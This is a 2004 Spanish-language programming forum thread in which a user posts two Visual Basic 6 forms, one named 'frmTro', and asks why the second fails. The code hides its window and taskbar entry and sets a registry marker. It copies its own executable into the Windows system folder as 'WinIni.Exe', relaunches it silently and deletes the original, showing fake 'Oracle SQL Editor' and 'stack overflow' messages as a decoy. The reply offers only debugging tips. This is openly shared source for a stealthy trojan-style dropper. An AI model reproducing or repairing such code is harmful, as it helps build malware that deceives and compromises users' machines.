• Viernes 26 de Abril de 2024, 04:42
« anterior próximo »
Páginas: [1]

Autor Tema:  2 Codigos Iguales  (Leído 1299 veces)

RadicalEd

  • Moderador
  • ******
  • Mensajes: 2430
  • Nacionalidad: co
    • Ver Perfil
2 Codigos Iguales
« en: Jueves 2 de Septiembre de 2004, 23:44 »
0
HOLA CHICOS DE SOLOCODIGO TENGO UN PROBLEMA CON 2 CODIGOS IGUALITOS AQUI LES VA
Código: Text
  1. 'form1
  2. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  3. Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  4. Private Sub Form_Load()
  5. On Error Resume Next
  6. Dim z
  7. Me.Visible = False
  8. z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
  9. If z <> 1 Then
  10.     Call Create
  11. Else
  12.     Call Killing
  13. End If
  14. End Sub
  15. Sub Create()
  16. On Error Resume Next
  17. Dim m
  18. CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
  19. SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
  20. WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path & "\lalo.ocx"
  21. FileCopy App.Path + "\" + App.EXEName + ".exe", App.Path + "\mada.exe"
  22. m = Shell(App.Path + "\mada.exe", 0)
  23. AppActivate m
  24. Unload Me
  25. End Sub
  26. Sub Killing()
  27. On Error Resume Next
  28. Dim ret As String, NC As Long
  29. ret = String(255, 0)
  30. NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\lalo.ocx")
  31. If NC <> 0 Then
  32. ret = Left$(ret, NC)
  33. Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
  34. Kill (ret)
  35. Kill (App.Path & "\lalo.ocx")
  36. Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
  37. End If
  38. End Sub
  39.  
  40.  
Código: Text
  1.  
  2. 'frmTro
  3. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  4. Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  5. Private Sub Form_Load()
  6. On Error Resume Next
  7. Dim z
  8. Me.Visible = False
  9. z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
  10. If z <> 1 Then
  11.     Call Create
  12. Else
  13.     Call Killing
  14. End If
  15. App.TaskVisible = False   'Ocultar en la barra de tareas.
  16. End Sub
  17. Sub Create()
  18. On Error Resume Next
  19. Dim m
  20. Dim fso As Object
  21. Set fso = CreateObject("Scripting.FileSystemObject")
  22. CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
  23. SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
  24. WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx"
  25. FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe"
  26. m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0)
  27. AppActivate m
  28. Unload Me
  29. End Sub
  30. Sub Killing()
  31. On Error Resume Next
  32. Dim ret As String, NC As Long
  33. ret = String(255, 0)
  34. NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx")
  35. If NC <> 0 Then
  36. ret = Left$(ret, NC)
  37. Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
  38. Kill (ret)
  39. Kill (App.Path & "\WinIni.ocx")
  40. Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
  41. End If
  42. End Sub
  43.  
EL PROBLEMA ES QUE EL FORM1 ME FUNCIONA A LA PERFECCION PERO EL FRMTRO NO Y NO SE POR QUE SI SON EL MISMO CODIGO QUE PASA ESTOY TRATANDO DE HACER UNA APLICACION QUE SE AUTOCOPIE EN OTRO LADO DEL PC CUANDO ARRANQUE SE CIERRE Y EL SEGUNDO QUE SE ABRE ELIMINE EL PRIMER ARCHIVO
QUE ESTA MAL AYUDENMEN
GRACIAS CHAO
El pasado son solo recuerdos, el futuro son solo sueños

ROBER.29

  • Miembro MUY activo
  • ***
  • Mensajes: 421
    • Ver Perfil
    • http://www.contrapixel.com
Re: 2 Codigos Iguales
« Respuesta #1 en: Martes 7 de Septiembre de 2004, 12:36 »
0
Hola,

Comenta los "On Error Resume Next" para saber si te está dando algún error y en que línea te da el error y podamos saber cual es tu problema y la posible solución que puedes llevar a cabo.

Un saludo.
Roberto García
Moderador de Visual Basic.
Gerente
[contra]PixeL S.L.
Valladolid

RadicalEd

  • Moderador
  • ******
  • Mensajes: 2430
  • Nacionalidad: co
    • Ver Perfil
Re: 2 Codigos Iguales
« Respuesta #2 en: Martes 7 de Septiembre de 2004, 19:38 »
0
NO DON MODEREIDOR EL PROBLEMA ES QUE NO ME SACA NINGUN ERROR SOLO NO ME HACE NADA; HACE HASTA LA COPIA DEL ARCHIVO Y LA CREACION DEL OCX PERO NO ME BORRA NINGUNO DE LOS 2 ARCHIVOS ESTOY HABLANDO DEL FRMTRO; TRATA DE COPIARLO Y HACERLO CON LOS 2 CODIGOS
El pasado son solo recuerdos, el futuro son solo sueños
Páginas: [1]
« anterior próximo »